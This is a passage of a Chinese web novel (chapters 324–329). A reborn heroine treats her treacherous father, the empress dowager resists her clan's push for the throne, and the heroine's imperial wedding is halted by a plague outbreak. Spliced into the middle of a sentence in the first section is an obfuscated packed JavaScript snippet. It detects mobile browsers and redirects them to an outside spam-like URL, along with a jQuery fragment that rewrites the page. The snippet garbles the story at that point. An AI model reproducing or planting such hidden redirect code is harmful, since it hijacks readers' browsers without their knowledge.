小荷无奈的叹口气,突然想什么,“对了小姐,侯爷腿上有伤,影九留在那的尸体并无腿疾……” “没事,不重要。” 秦时月知道,她营救长乐侯的事情想必已经暴露,但她并没有放在心上,当务之急是要治好她这个好父亲! 她忙碌许久,终于调配好一剂良药。 只要长乐侯将此药喝下,便能增强体魄,方便后续治疗。 昨夜她给长乐侯诊脉,她惊讶地发现长乐侯的身体亏空的严重,或许是在耶律良才那边受到了非人的对待,若是不及时治疗,怕是会有生命危险。 现如今,他还不能死,至少在自己与宋墨辰大婚前,要活着。 熬制好良药后,秦时月再次亲自送去了长乐侯房中。 今日长乐侯的情绪稍微稳定了些,没有了昨日的狠厉。 “你为什么救我。”长乐侯冷冷的看着她,“我**,不是正合你意吗?” “你是我父亲,是靖垣的侯爷,救你是时月的本分。”她将药碗放到一旁,面色不变,“我看你今日情况大好,那便自己喝吧。” 虽然长乐侯只剩一只手,但又不是没嘴,秦时月可不想亲自喂他。 “你是怕我**,你不能和宋墨辰成婚吧!”长乐侯嘲讽的哈哈大笑。 她像是没听见似的,自顾自说道:“我已经让人在医馆周围布了暗卫,你安心养伤,按时喝药,不会再有人能威胁到你的性命了。” 说完,她转身要走。 长乐侯见状急忙叫住她,“等等!你就这么走了?” “不然呢?”秦时月回头,好笑道:“你放心好了,我是不会让你死的。” 她现在要做的,是守住靖垣,守着宋墨辰,治好长乐侯的伤。 “你少装模作样。”长乐侯冷哼一声,将头别过去,狠心不看那碗汤药。 秦时月静静的看着他,语气凉薄,“怎么,侯爷这是嫌药太苦,还是觉得我这医馆待着不舒坦?” 汤药,她有的是,但他若是不珍惜,便不会有第二碗! “秦时月,我知道你的目的。”长乐侯冷笑道:“我奉劝你好好待我,否则我让你心愿落空!” 虽说他的情绪有所收敛,但说出来的话依旧不动听。 “我是你爹,你竟然敢把我囚禁在墓地!” 提到墓地,秦时月愣了一下,抬眼看向他,眼底却没什么波澜。 “父亲倒是记仇,可父亲别忘了,放火烧王府是死罪,我送你去守灵,也是在救你。” 长乐侯的脸色沉了下去,刚要开口反驳,却猛地咳嗽起来。 见状,她叹口气走过去,查看了一下他的伤势,随即为其换药。 长乐侯靠在床头,看着她给自己换药的样子,突然意识到,如今他的,仍是一个阶下囚,不过是换了个地方,换了个囚禁自己的人…… 如今他腿伤严重,身边没有侍从,若真惹恼了秦时月,别说回侯府,能不能活到明天都难说。 而且芳娘说过,整个侯府都在秦时月手里,秦怀瑾还被关押在王府,而他,已经一无所有…… 如今,他不能与秦时月为敌! 无论如和,还是先将秦怀瑾救出来再说,等怀瑾出来后,他再和秦时月算账不迟! 想清楚后,长乐侯喉结动了动,语气忽然软了下来,“时月,好女儿,之前是我昏了头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302429|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是我对不住你。” 听到这话,秦时月愣了一下,随即装作没听见似的,继续漠然的给他换药。 她不信一个向来恨自己的人会突然想开,不过,她并不打算拆穿。 “这些年是父亲糊涂,被猪油蒙了心,才会对你生厌。你是秦家的嫡女,你大人有大量,别跟父亲一般见识,好不好?” 若是前世,秦时月听了这些话,必然会认为长乐侯是真心悔改,想要和自己叙父女情。 但死过一次,她早已经看清了长乐侯的为人。 他肯说些软话,不过是想要让自己不害他,甚至出手帮他罢了。 秦时月换药的手没停,动作利落,却没接长乐侯的话。 见到这一幕,长乐侯有些心急,往前凑了凑,“我知道你现在有本事,跟宋墨辰也亲近,等我伤好之后,咱们父女俩可以好好聊聊吗?” “他如今是新皇,你应该尊称陛下。”秦时月神情冷淡,提醒道。 闻言,长乐侯的眼底闪过一丝嫉恨。 他被耶律良才关押的这段日子,并不知道外面发生了什么,更不知道宋墨辰已经登基…… 突然,他像是想到了什么,眼神一转。 如今宋墨辰登基,只要秦时月嫁入皇宫,他就是当朝国舅爷。 国舅爷身份尊崇,谁敢招惹? 他若是想东山再起,如今就得放下身段讨好秦时月和宋墨辰,然后利用国舅爷的身份,慢慢攒起势力,站稳脚跟。 只有这样,他才有机会找他们算账,把失去的一切都夺回来! 原本长乐侯为了保命才对秦时月服软,现如今,他是为了以后的翻盘,讨好起了秦时月。 “要回侯府吗?”秦时月问了一句。 她这医馆也要开门做生意,总让他待在医馆里并不妥。 再者,她两头跑,也有点累。 把长乐侯带回侯府,还能多派些人手看管。 “当真?”长乐侯惊喜,“我当真能回去?” 他没想到自己还没提,她就有了让他回去的心思。 第324章 允他回府 秦时月抬眼,目光落在他脸上,把他眼底的那点心思看得清清楚楚。 但她没拆穿,只淡淡道:“侯府本就是你的家,你想回去便回去,不过你受伤了,就不要打理侯府的事情了,免得你操心伤神,耽误了恢复。” 这话听着是关心,实则是断了他提前插手侯府事务的念头,毕竟,如今的侯府可不是他长乐侯的。 长乐侯心里清楚,却不敢反驳,只能挤出个难看的笑容。 现阶段,他能回到侯府就好,其他的不重要。 “那多谢时月了。” 换好药后,秦时月起身,打算离开,他却突然叫住了她,“等等。” “还有事?”她蹙眉,多了些不耐烦。 每当她看见长乐侯这张脸,她就会想到上一世发生过的事情。 所以,若非为他治病,她根本不可能踏入这个房间。 “我还有个事情想问你,你兄长,现在怎么样了?” 原本耶律良才答应过他,会把秦怀瑾救出来,可后来,耶律良才不仅没有救人,还将他的腿打断,手砍下,把他扔到柴房自生自灭。 如今他终于摆脱了耶律良才,他关心的,自然成了秦怀瑾。 秦怀瑾不仅是他儿子,还是侯府里唯一一个跟秦时月,芳娘没有关联的人…… 闻言,秦时月笑了一下,回答道:“陛下前不久下了大赦令,秦怀瑾刺杀陛下的罪免了,不过,活罪难逃,充军三百里,好像前些日子就被送去了西北边境。” “充军三百里!?”长乐侯的声音猛地拔高,眼底充满恨意。 西北边境是什么地方!? 常年风沙,条件艰苦,还要跟着军队驻守。 秦怀瑾从小养尊处优,哪里受得住那样的苦? “怀瑾毕竟是你的兄长,你要不然去和陛下求求情……”长乐侯满脸悔恨,又痛心疾首的开口。 他不忍心秦怀瑾吃苦,更不能接受侯府里少一个助力。 秦时月却冷笑道:“他刺杀陛下,没有要他命就已经是开恩了,父亲难不成是想要他死吗!” 言外之意,若是他还纠缠,那她就让秦怀瑾**。 反正秦怀瑾的生死对她并不重要。 长乐侯闭上眼睛,努力克制自己的情绪,他知道,若是在秦时月面前露了怒色,说不定连回侯府的机会都没了。 他只好把那股恨意只能硬生生压下去。 半晌,他深吸一口气,嘴角扯出个僵硬的笑,“陛下仁慈,能留他一条命就好,充军就充军吧,让他去边境历练历练,也算是个教训。” 秦时月抬眼看向他,好笑道:“父亲能看开就好,药喝完了,回头我再给你熬一碗,你好好躺着别乱动,免得伤口裂开。” 长乐侯连忙说道:“你忙了一天,也该歇歇了。” 她没有接话,只是抬脚往外走去。 门被轻轻关上,厢房里又恢复了安静。 长乐侯靠在床头盯着屋顶的木梁,心里盘算着该如何应对。 秦时月现在有宋墨辰撑腰,权势滔天,他现在根本不是对手,只能暂时忍耐。 等他伤好回了侯府,先稳住秦时月,再慢慢找机会对付他们。 不知过了多久,门外传来了脚步声和下人的声音,“侯爷,奴婢给您送晚饭来了。” “进来吧。” 小荷捧着托盘走了进来,托盘里放着三菜一汤,都是些清淡的菜肴,适合病人食用。 “侯爷,这是小姐特意吩咐厨房给您做的,您慢用。” 长乐侯没推诿,拿起筷子,慢慢吃着饭菜,他知道,秦时月为了和宋墨辰大婚,是绝对不会伤害自己的,他要趁着这段时间,尽快拿回侯府! 吃完晚饭,小荷进来收拾了碗筷,长乐侯靠在床头,闭上眼睛,开始养神。 而此时,医馆前堂。 秦时月正坐在椅子上,手里拿着一本医书,却没有看进去。 “小姐。”小荷走了进来。 “他那边怎么样了?” “回小姐,侯爷吃完饭就靠在床头闭目养神,看起来没什么异常。” 秦时月点了点头,眼神里没什么意外,“知道了,派人 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原想着封后大典和登基大典一起举办,可长乐侯突然失踪,为了堵住悠悠众口,他不得不忍耐至此。 好在,等待的时间不太久,否则,他真不知道自己会做出什么。 殿门突然被推开,侍书捧着托盘缓步进来。 “陛下,这是工部刚呈来的封后仪仗图样,还有内务府拟的纳后六礼清单,您瞧瞧?” 宋墨辰抬眼,看向素笺上画着凤辇的样式。 式样十分繁琐,处处透漏着雍容,不是珍珠玛瑙就是黄金点翠。 “凤辇的珠玉太繁了。”宋墨辰心里喜欢,但指尖划过纸面时,还是笑道:“让工部改改,月月不喜张扬,素雅些好。” 虽说繁琐华贵能彰显身份,但太多点缀,反而显得庸俗。 侍书连忙从袖中取出小楷笔,在图样旁快速记下,顺口问道:“陛下,还有什么要注意的吗,我让工部和礼部注意一下。” 第325章 苏家的心思 “太俗的,月月看不上,和那些官员们说,要那种既低调,又奢华的。” “是,陛下。”侍书领了命令,识趣的退下。 他没想到,帝后大婚,陛下不仅亲自把关,连这种传统的东西都要亲自过问。 这种重视,无论是放在任何时候,都是独一份的。 宫人们多嘴,再加上宋墨辰有意让众人知道他对秦时月的重视,此事很快传了出去,传到了皇后耳中。 不,如今皇后已是太后了。 “不错,不错,终于要大婚了。”太后欣慰道:“来人,去把库房里那套金丝头面找出来,再挑几匹上好的云锦。” “是,娘娘。” “本宫要亲自去送给时月,也算我这个做婆母的,送给她的大婚贺礼。” 一想到宋墨辰要迎娶秦时月,太后就忍不住的开心。 还不等宫人将头面找出来,殿外突然传来内侍的通报,“禀报太后娘娘,国公府苏大公子求见。” 闻言,太后手上的动作顿了顿,眼底的笑意淡了几分。 苏家是太后母族,向来把家族权势看得重,这个时候派苏文轩来,难道是为了封后的事? “让他进来。”太后一脸严肃的走到主位上做好。 不多时,苏文轩走进殿来,见到太后,他连忙躬身行礼。 “臣苏文轩,见过娘娘,娘娘圣安。” “起来吧,坐。”太后指了指旁边的锦凳。 苏文轩看了一眼周围的宫人,示意太后将不相干的人请出去。 见状,太后摆了摆手,示意宫人都下去。 待宫人离开后,苏文轩才缓缓说道:“娘娘,臣今日来,是为陛下立后之事。” “哦?”太后抬眼看了他一眼,面色不变。 “臣进来时发现,如今宫里都传开了,陛下要立长乐侯府的嫡女秦时月为后,这事您可不能不管啊!” 太后端起自己的茶盏,轻轻吹了吹浮在水面的茶叶,并没有说话。 见状,苏文轩急的往前凑了凑。 “娘娘,您是陛下的生母,这后宫之事,您最该上心!秦时月是什么身份?她无显赫家世,无父族势力,怎么配得上后位?” “依兄长所言,谁配得上后位?”太后故意问道。 “那自然是咱们苏家的人。”苏文轩笑了一下,继续说道:“咱们苏家是开国功臣,您是当今太后,这皇后之位也合该姓苏。” 大权旁落,苏家的荣华富贵还如何长长久久的延下去? 太后喝了一口茶,缓缓开口,“兄长,时月的为人我最了解,若不是她救了我,我怕是早就死了,便是还这份恩情,这皇后之位也该给她。” “恩情归恩情,后位是国本啊!”苏文轩打断她的话,语气带着几分急切,“您可以大肆封赏……” “兄长怕不是忘了,陛下还是辰王的时候,时月就是先皇指定的辰王妃,兄长这样做,把先皇的圣旨放在那里?”太后眯着眼冷声问道。 “娘娘说的是,那便封她个贵妃,让她衣食无忧便可,您也说了,先皇封的是辰王妃,而不是皇后。” 苏文轩不死心,继续说道:“娘娘,您想想,一旦后位落入外人手中,新后若有心扶持自己的家族,咱们苏家的势力必定会被削弱,您现在是太后,可等新后有了子嗣,母凭子贵,您这个生母的位置,还能稳得住吗?” “兄长,时月不仅有恩于我们母子,而且能力出众,这后位,她担得起!”太后坚定道。 “太后娘娘,你不要忘了,自己也姓苏!”苏文轩不悦的看向太后。 今日他进宫,目的就是为了让太后松口,把自己的女儿安排进来,让后位不旁落。 可她的态度却让他极度不悦。 闻言,太后抬眼看向苏文轩,笑了一下,“陛下喜欢她,你是看着陛下长大的,他自小性子冷,身边没什么亲近的人,唯独对时月,是真心实意。” “作为母亲,我只希望他能得偿所愿,有个知心人在身边陪伴,这比什么家族权势都重要。” 苏文轩没想到太后会这么说,脸色瞬间沉了下来。 “娘娘!您怎么能这么糊涂,陛下年轻,或许只是一时被那女子迷惑,您是他的生母,应该劝诫陛下,而不是顺着他的心意!后位关系到江山社稷,怎么能凭个人喜好定夺!” “陛下不是糊涂人,他心里比谁都清楚自己要什么。”太后冷笑一声,“时月的好,我看在眼里,陛下也记在心里,后位给她,合情合理,朝臣和百姓不会有非议。” 苏文轩见劝不动她,脸上露出几分不快,却碍于她的身份,不敢太过放肆。 深吸口气,道:“娘娘,您还是再深思熟虑些好,若是日后苏家真的衰败了,娘娘在宫里没了母族支撑,日子恐怕也不会好过。” 太后看着他紧绷的脸色,心里明白他的顾虑。 苏家是她的母族,她自然希望家族能一直兴盛,但她更清楚,宋墨辰的幸福和江山的稳固,比家族的一时权势更重要。 “你担心苏家势力衰败,我明白,但也不必急于这一时,我已有安排。”太后缓缓道:“封后大典后,我会在御花园办一场赏花宴,你把族中适龄的女子都带来,让陛下瞧瞧。” 闻言,苏文轩的眼睛亮了亮。 “若是陛下瞧着有合心意的,愿意留在宫里,我自然会好好安排,贵妃、妃位都不是不能商量,就算陛下没那个心思,我也会给她们安排个好前程。” 如此一来,苏家的女子在后宫有了位置,或是与宗室联姻,家族势力自然能稳住,甚至能更上一层楼。 听到这话,苏文轩心里的不快彻底缓解了大半。 他原本以为太后会一味偏袒秦时月,没想到还会为苏家考虑得这么周全。 只是他心里仍有不甘。 但他也知道,现在强行干预只会惹得太后和陛下不快,反而不利于苏家,只能暂时妥协。 “娘娘考虑得周全,是臣欠考虑了。” “兄长也别再多想了,回去吧,赏花宴的事,我会让人提前跟你通气,你也好让族里的姑娘们做些准备,学学宫里的规矩,别到时候失了体面。” 第326章 吉时到。月月,我来娶你了 苏文轩知道再劝也没用,只能躬身行礼,“是,臣告退。” 就算现在不能阻止秦时月当皇后,以后也有的是机会。 等族中的女子进了宫,总能找到办法挑拨帝后关系,只要秦时月出一点差错,苏文轩就联合朝臣弹劾她,到时候再把苏家的姑娘推上去,后位,终究还是苏家的。 看着苏文轩离去的背影,太后轻轻叹了口气。 她怎么会看不出苏文轩的心思? 只是现在多说无益,只能走一步看一步。 只希望,辰儿能始终护着时月,也希望时月能聪明些,在宫里站稳脚跟,别让苏家的人找到可乘之机。 “娘娘,您是不是担心苏大公子还会寻事?”绘春问道。 “他心里不服气,自然不会轻易罢休。”太后的语气里带着几分无奈,“不过现在有赏花宴的事拖着,大婚前,他应该不会立刻闹出动静。” 只要宋墨辰能幸福,就算苏家的势力受些影响,也没什么大不了的。 不知不觉,大婚日来临。 今日的晨光来得极缓,只从东窗的缝隙里渗进来一点点,上方悬着的琉璃灯也静悄悄的,皇宫内外鸦雀无声,似乎都在等待着什么。 大殿中,宋墨辰已坐了近半个时辰。 他今日身着暗红色龙袍,衣服上用金线绣着若隐若现的游龙,腰佩玉带,玉带上还悬挂的双鱼比目。 他的目光不自觉地望向殿门方向,就连呼吸都变的有些沉。 靖垣的习俗,新人大婚前夕不得见面,算算日子,他已经有足足半月未曾见到秦时月了,也不知她是否会怨他。 从定下婚期那日起,宋墨辰便盼望着今日大婚,若不是要挑选良辰,他恨不得现在就冲到揽月园去。 又过了一炷香的时间,侍书兴奋的走了进来。 他先是对宋墨辰行了个礼,随后轻声说道,“陛下,吉时将至,县主已在殿外候着了。” 来了,终于来了,属于他和月月的大婚终于要来了! 他喉结微滚,神情愉悦,“知道了,朕现在就出去,你去传礼官。” “是。”侍书应声退下。 侍书离开后,宋墨辰迫不及待起身向殿外走去。 片刻后,殿外响起了礼官高亢的声音,“吉时到~” 声落的瞬间,礼乐瞬间响起,百官纷纷起身,望向宫门外。 下一秒,一道红色身影缓缓出现在宫门口。 是秦时月。 她身着一身正红色婚服,婚服上用金线织着金黄色的并蒂莲,裙摆逶迤在地。 她手中握着红绸扇,扇面上绣着一对鸳鸯,扇柄处贴着流苏。 扇子遮住了她的脸颊。 扇面后,那双明媚的大眼睛里带着几分笑意和紧张,眼尾微微上挑,睫毛纤长。 看到她缓慢向自己走来的这幕,宋墨辰呼吸骤停。 他见过秦时月许多模样,却未曾见过身穿凤冠霞帔的她。 明明隔着数丈的距离,他却能发现她的目光落在了自己身上。 他眼带笑意,下意识地挺直了脊背,却又在瞬间放松下来。 有那么一刻,宋墨辰忘了该如何维持仪态,忘了殿侧还坐着四国使臣。 他的眼里只有一人,心里只有一个念头……和秦时月,拜天地。 契丹席位上,耶律良才表情淡淡的,但目光始终停留在秦时月身上。 当她略过自己时,他不自觉握紧了手中的酒杯。 这身衣服,本该为自己而穿,如今竟便宜了宋墨辰! 都怪长乐侯,明明只要再等些时日,他就能阻止秦时月大婚,可那该死的长乐侯竟然敢逃跑!! 如今,她穿着婚服,走向别人……要在这万人注视下,成为别人的妻! 这让耶律良才如何不恨? 这股恨意,勒得他几乎喘不过气。 秦时月能感觉到所有人的目光都落在自己身上,可她没有丝毫慌乱。 她知道今日的每一步都代表着什么,代表着她从秦时月,即将成为靖垣一人之下万人之上的皇后,成为宋墨辰的妻子。 她走得极稳,她要让所有人都看到,她配得上这份尊荣,配得上那个人。 “秦时月,参见陛下。” 听到声音,宋墨辰才回过神。 他目不斜视的走了下来,站在了秦时月身旁,亲自将她扶起,“你我之间,不必这些虚礼。” 秦时月小脸一红,轻声咳了一下,提醒他注意些。 如今他是靖垣皇帝,所有人的视线都在他身上,这样的场合,实在不该露出这样的神情。 众官员见状,纷纷跪地恭贺,“臣等,恭贺陛下、娘娘大婚!祝吾皇万岁万岁万万岁!” 呼声持续了近一盏茶的时间才慢慢平息。 宋墨辰抬手,目光扫过殿外,重新拾起帝王的威严,“众卿平身!” “今日乃朕与秦家嫡女秦时月成婚之日,待成婚仪式毕,朕册封秦时月为靖垣皇后。” 话音刚落,文武百官立即恭贺。 礼官连忙起身,上前一步,招呼一旁的宫人过来。 不一会儿,两名内侍端着铜盆走上前来,将铜盆端到宋墨辰面前。 他抬手,将双手浸入温水中。 洗完手后,内侍递上白色的锦帕,他接过,擦干双手。 随后,内侍又将铜盆端到秦时月面前…… 做完这一切,另有内侍又端着一个黑色的盘子走上前来,盘子中盛着肉羹。 “夫妻同食,此后同甘共苦~”礼官高喊。 闻言,秦时月看了一眼宋墨辰,躲在团扇后轻轻笑了一下,将头低下。 这场大婚的礼仪,不是皇家娶妻的规格,倒像是民间仪式。 皇家成婚,礼仪繁琐,且都是以男子为主,更何况宋墨辰如今身份尊崇,以皇家礼仪办,绝不会允许她与他同吃一餐。 察觉到他的用心,秦时月的心里暖暖的。 耶律良才看着这一幕,眼神晦暗,攥紧酒杯,仰头将杯中酒一饮而尽,眼底透着一丝计算。 吃过肉后,宋墨辰侧头,小声对秦时月说道:“月月,接下来该祭天地了。” 为了能给她一场独一无二的大婚,他特意命人将民间婚俗和皇室婚俗融合,取其精华,好让她知道,他虽然是皇帝,但在她这里,他只是她的夫。 第327章 突发大事,大婚暂停 “拜祭天地,上达天听!”礼官高喊。 宋墨辰用只有两人能听见的声音笑道:“不用紧张,跟我一起。” 闻言,秦时月抬眼看向他,笑道:“有陛下在,臣妾不紧张。” 他收敛起笑意,抬手从祭桌上拿起祭文清了清嗓子,“靖垣元年,吉日良辰,帝宋墨辰,祭于皇天……” 耶律良才站在下面,眼神盯着远处的宫墙,像是在等什么信号,只是所有人的注意力都在新婚的二人身上,并无人察觉。 很快,祭文朗诵完毕,宋墨辰看向秦时月,主动伸手,邀请她同自己一起屈膝跪拜。 耶律良才收回目光,眼底多了一丝急切。 就在耶律良才迫不及待要放信号的那一刻,祭天台的台阶下忽然传来一阵急促的脚步声。 “陛下!张大人有急事求见!” 听到这句话,宋墨辰瞬间黑脸。 该死,竟然打扰他大婚,张大人究竟是怎么想的! 他烦躁的看了一眼内侍,刚想发火,就被秦时月拉住了手腕。 “先看看是什么情况。”秦时月朝着他摇摇头道。 内侍绝不会不分场合的冲上来,定然是出了什么不容等待的大事。 宋墨辰深吸口气,强忍下心中的情绪看向侍书,示意侍书去处理。 不一会儿,侍书赶了回来,脸色凝重,“陛下,大事不好了。京中突然出现了几例病患。” “病患?”宋墨辰的声音沉了下来,“什么病患要在朕的大婚之日!?” 秦时月也停下动作,握着红绸扇的手微微收紧,眼底多了一丝疑惑。 京中病患日日都有,为何来人如此慌张? “不是寻常风寒!那些病患都在咳嗽,咳得很厉害,有的还咯血!太医院的大夫已经去看过了,可没一个大夫能确诊是什么病,怀疑是……疫症!” 听到这句话,台上台下瞬间安静下来。 所有人的脸色都变了。 疫症二字意味着什么,谁都清楚。 一旦疫情蔓延,京中的百姓怕是要遭大难! 宋墨辰的身体猛地一僵,头疼的闭了闭眼。 原本以为耶律良才会是最大的麻烦,却没料到京中会突然出现疑似疫情的病患。 “你说什么?大夫真的怀疑是疫情?那些病患现在在哪里?”秦时月站在一旁,听得心头一紧。 “已经隔离了,但病情无法控制,张大人这才会冒死前来。”侍书连忙回道。 “怎么会突然出现疫情?”秦时月忍不住开口,难以置信道。 “回娘娘,现在还不清楚。”侍书回禀道。 宋墨辰深吸一口气,努力让自己冷静下来。 今日是他与月月的大婚之日,祭天仪式尚未完成,若就此中断,不仅于礼不合,他也不会原谅自己。 但百姓需要救治,绝不能拖着…… “传朕旨意,太医院所有太医立刻集中到一起,务必尽快查明病因,另外,让户部准备好药材和粮食,随时应对可能出现的状况,让工部加快搭建临时隔离棚,务必在日落前完工。注意,不要让百姓们知道,以免引起恐慌。” “是!臣这就去传旨!”侍书连忙起身。 他不会让这场疫情毁了他们的婚典,也不会让京中的百姓受苦。 耶律良才坐在那里,目光落在宋墨辰身上,眼底没有了之前的急切,反而多了几分看戏的意味。 原以为今日免不了一场腥风血雨,现在的情况,倒是更合他的心意。 安排好这一切,宋墨辰缓缓转过身,看向身侧的秦时月。 她依旧握着那把红绸扇,半遮着面容,他看不清。 “月月,朕已经安排好了,不会有事的,祭天仪式还没完成,我们先把礼走完,剩下的事回宫再议……”宋墨辰道。 秦时月没有立刻应声,心思却早已飘远。 她知道疫情的可怖。 禹城当时只是时疫就要了半城人的性命,如今京中突然出现咯血的病患,若真的是疫情,隐瞒,只会让情况更糟。 她的沉默让宋墨辰有些不安,他刚要开口,她却突然抽出手,放下了红绸扇…… 这是今日大婚以来,她第一次完全露出面容。 晨光落在她脸上,映得她肤色莹白。 “陛下,大婚不能继续,祭天仪式也该暂停。” 宋墨辰愣住,他没想到秦时月会在这个节骨眼上说出这样的话。 他眉头微蹙,语气里带着一丝他自己都没察觉到的慌乱,“朕已经派人去处理了,只要控制住源头就不会蔓延。今日是我们的大婚之日,岂能说停就停?” “正是因为今日是大婚之日,才更该暂停。”秦时月眸光闪动,里边是让他不悦的怜悯,“若真的是疫情,纸终究包不住火。今日祭天,京中百官和四国使臣都在,疫情一旦传开,不但百姓遭殃,就连朝堂、四国也会动荡不安。” 秦时月转身看向台下的大臣们,耶律良才此时已经站了起来。 他面色平静,但眼底却带着一丝看戏的意味。 “更何况,耶律良才还在,到时候内忧外患,陛下该如何应对?”秦时月眸光一沉,低声提醒。 宋墨辰顺着她的目光看向耶律良才,对方恰好看了过来,还故意端起手中的酒杯,对着他虚敬了一下,眼底的挑衅毫不掩饰。 月月说得没错,耶律良才确实是个隐患,若真让他抓住机会,后果不堪设想。 可,与她大婚,是他多年夙愿…… “朕是帝王,岂能因为几例疑似病患就乱了分寸?你放心,朕会安排好一切,还是说……难道你不想与朕成婚吗?” “百姓的性命更重要!”秦时月皱皱眉,坚定道:“若为了一场婚礼就置百姓安危于不顾,和昏君又有何分别?” 说着,她上前拉住了他的大手,在他震惊不解的目光下,继续,“暂停大婚不是取消,只是延后,等疫情控制住,京中安稳了,我们再补行仪式,这辈子,我非你不嫁。” 她眼神真挚,可宋墨辰的心,却沉到了谷底。 他很想告诉她,今日过后,她虽然会成为一国之母,但她实在没必要这样,全心全意的为别人着想。 她,可以自私一些的…… 第328章 心系百姓,扯下凤冠 不等宋墨辰开口,南国使臣突然站了起来,他惶恐的跑到二人身前,紧张道:“陛下,我们远来靖垣,代表的是南国,若是染上瘟疫,您怕是不好向南国交代……” 另一个使臣也坐不住了,“陛下,臣等并非不信靖垣的能力,只是疫情凶险,还请陛下立刻安排人手为我等检查身体!若是真有隐患,也好早做应对!” 高丽使臣更是慌张的不成样子。 四国使臣中,只有耶律良才端坐在席位上,嘴角勾着不易察觉的淡笑。 他看着满殿慌乱,眼底满是兴味。 “诸位使臣不必惊慌,疫情虽险,却也不是无法应对,当年禹城爆发瘟疫,死者无数,但明月县主还是把他们都救活了。”耶律良才看着秦时月,眸光闪烁。 这话一出,众人瞬间安静下来。 众使臣都看向秦时月,眼底带着浓重的期待。 宋墨辰的脸色瞬间沉了下来,眼睛微眯,里边透出丝丝寒意。 如今耶律良才旧事重提,显然没安好心。 “陛下,如今靖垣有难,本王不能坐视不理,我契丹带来的礼物中恰有一批备用的草药。若是陛下不嫌弃,本王愿意协助明月县主共同应对此次疫情,就算为靖垣尽一份力。” 秦时月站在宋墨辰身侧,听见耶律良才的话,眼底闪过一丝感激。 疫情当前,多一份助力总是好的。 她刚要开口道谢,却察觉到宋墨辰握着她的手猛地收紧。 宋墨辰瞪着耶律良才,语带警告,“多谢耶律大王好意,只是你口中的明月县主,如今是朕的皇后,你应该尊称一声皇后娘娘!” 耶律良才挑眉,笑的恶劣,“仪式未完,此时改口,怕是于理不合。” 这一刻,他倒是庆幸靖垣礼节繁复,若不是因为这样,他还真说不过宋墨辰。 宋墨辰冷哼一声,面色阴鸷,“婚宴,继续进行!” “陛下!”秦时月皱着眉头猛地转头看向他,“人命关天!” “朕知道你担心百姓,可朕已经说过会安排好一切,控制住疫情,今日是我们的大婚之日,不能就这么中断!” 秦时月心头微动,但重活一世,她比前世,更理智,知道当务之急是控制疫情。 她深吸口气抬手抓住头上的凤冠,用力一扯,凤冠从发间滑落,乌黑长发随风飞舞,惊呆了宋墨辰,惊呆了一众人…… “陛下,大婚暂停,臣妾这就去城南,看看那些病患的情况!” 说完,秦时月随手将凤冠塞到大太监手上,转身就往殿门走去。 看着她的背影,宋墨辰整个人愣在原地。 他没想到她会如此决绝,为了区区疫情竟不惜当众扯下凤冠,离他而去…… 他眼眶泛红,拳头紧紧攥着,骨节泛白,手背上青筋毕现。 他只是想给她一个完整的婚礼,难道,他错了吗? “陛下,县主心系百姓,是靖垣之福啊。”耶律良才走到宋墨辰身边,眉眼含笑。 宋墨辰猛地转头看向耶律良才,眼神中留漏出杀意。 若不是顾及着他使臣、契丹王的身份,他真想立刻下令将这个人拿下。 可他知道,现在不是动怒的时候。 使臣们还在慌乱,秦时月已经去了城南,他若是再乱,整个京城都会陷入混乱。 他深吸一口气,努力压下心底的怒意,沉声道:“来人。” “臣在。” “你立刻带两百禁军,护送四国使臣回驿馆,沿途做好防护,不许任何人靠近驿馆,也不许使臣随意外出!” 侍书领命退下。 “传朕旨意,太医院即刻派遣医师,前往驿馆为使臣们检查身体,若有异常,立刻隔离!” “奴才遵旨!”内侍恭敬应下,连忙安排其余事宜。 众使臣见宋墨辰终于有了安排,慌乱的情绪稍稍平复,跟着禁军往外走。 耶律良才走在最后,离开前,特意瞅了宋墨辰一眼,眼神复杂,隐隐带着一丝势在必得。 …… 此时,城南破庙外已围起了三尺高的木栅栏,空气中弥漫着腐朽的气味,压得人有些喘不过气。 秦时月带着太医匆匆赶来,二话不说就开始查看病情。 “皇后娘娘,里面已隔离了七位病患,都有咯血的症状,属下已让人禁止任何人靠近。”禁军见秦时月前来,连忙上前躬身禀报。 “……唤我县主吧。”秦时月说道。 礼不可废,仪式未成,她就不是皇后。 破庙内光线昏暗,几张简陋的木床靠墙摆放,躺在床上的病患不时发出剧烈的咳嗽声,咳得厉害时,嘴角会溢出淡淡的血丝。 “娘娘,您小心些,莫要靠太近。”刘太医连忙递上来一块帕子。 秦时月接过帕子捂住口鼻,走到离床最近的一张木床前。 床上躺着一位约莫五十岁的老汉,面色蜡黄。 那人见秦时月一身红衣,眼神里满是惶恐。 “老人家,你好好躺着。”秦时月的声音放得极轻,“我来问问你,发病前可有去过什么特别的地方?或是接触过什么特别的东西?” 老汉喘了口气,声音沙哑,“老汉就是个卖菜的,也没去过别的地方,就是前几日给一个蛮子买过菜,后来就病了。” “南方蛮子?”秦时月心里一动,眼神深邃的又走到另一张床前,“你呢,可曾去过什么地方?” “我是从南方来的,发病前,我一切都好。” 都接触过南方人? 秦时月思考了一会儿,问道:“你在老家那边,可接触过什么?” “在老家那会也没什么稀奇的……”妇人脸色苍白,思索再三,眼里闪过一丝不敢确信,“我想起来了,我半月前曾被老鼠咬过,这,跟这有关系吗?” 伤势不重,当时她也没放在心上,现在想起来,她莫名觉得不安。 闻言,另一位患者连忙说道:“你说到这儿我想起来了,前段日子南方阴雨连绵,街道上随处可见老鼠,我家的粮食都被糟蹋了不少。” 秦时月皱紧眉头,心里闪过一个念头:这场瘟疫,怕是和老鼠有关。 第329章 确定,是鼠疫 就在这时,太医院院首正带着几位老医官匆匆了赶来。 “县主!”院正见到秦时月,连忙躬身行礼,“臣等刚从太医院赶来,带来了前朝关于瘟疫的记载,正想与娘娘商讨病患的症状。” “所有病患均有高热、咳嗽、咯血的症状,却无瘟疫常见的皮肤红疹与呕吐症状,臣等反复查验,都觉得不像是以往记载的任何一种瘟疫。” “臣也觉得不像。”院首说道。 